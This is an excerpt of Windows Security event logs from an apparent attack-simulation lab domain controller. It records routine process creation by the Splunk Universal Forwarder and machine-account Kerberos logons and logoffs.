	Logon ID:		0x0

Process Information:
	New Process ID:		0x11a8
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x13dc
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /c ""C:\Program Files\SplunkUniversalForwarder\etc\system\bin\WinEventLog.cmd" --scheme"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:05 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=252180
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x13b4
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x13dc
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /c ""C:\Program Files\SplunkUniversalForwarder\etc\system\bin\MonitorNoHandle.cmd" --scheme"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:05 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=252179
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1014
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1018
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe"  _internal check-xml-files --answer-yes --no-prompt 

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:05 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=252178
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1018
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x13dc
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /c "C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe" _internal check-xml-files --answer-yes --no-prompt 2>&1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:05 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=252177
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1010
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x12a4
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\btool.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE" btool server list general --no-log

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:05 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=252176
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x12a4
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\btool.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1360
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	btool  server list general --no-log

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:05 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=252175
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1360
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1228
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /c btool server list general --no-log

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:05 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=252174
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x102c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x12fc
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\btool.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE" btool server list replication_port --no-log

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:05 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=252173
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x12fc
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\btool.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x4d0
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	btool  server list replication_port --no-log

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:05 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=252172
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x4d0
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1228
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /c btool server list replication_port --no-log

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:06 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=252213
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1545D1

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:06 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252212
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x1545D1
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		64618

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:06 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=252211
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1545D1

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:50:06 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=252210
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x154543

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:06 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252209
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x154543
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	2001:0:2851:782c:1810:3209:f5ff:fef1
	Source Port:		64617

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:06 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=252208
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x154543

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:50:06 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=252207
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x15449E

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:06 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252206
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x15449E
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		64616

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:06 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=252205
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x15449E

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:50:06 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=252204
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1543EE

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:06 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252203
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x1543EE
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::1810:3209:f5ff:fef1
	Source Port:		64615

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:06 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=252202
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1543EE

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:50:06 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=252201
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1174
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x13dc
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /c ""C:\Program Files\SplunkUniversalForwarder\etc\system\bin\powershell2.cmd" --scheme"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:06 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=252200
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xedc
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x13dc
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /c ""C:\Program Files\SplunkUniversalForwarder\etc\system\bin\powershell.cmd" --scheme"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

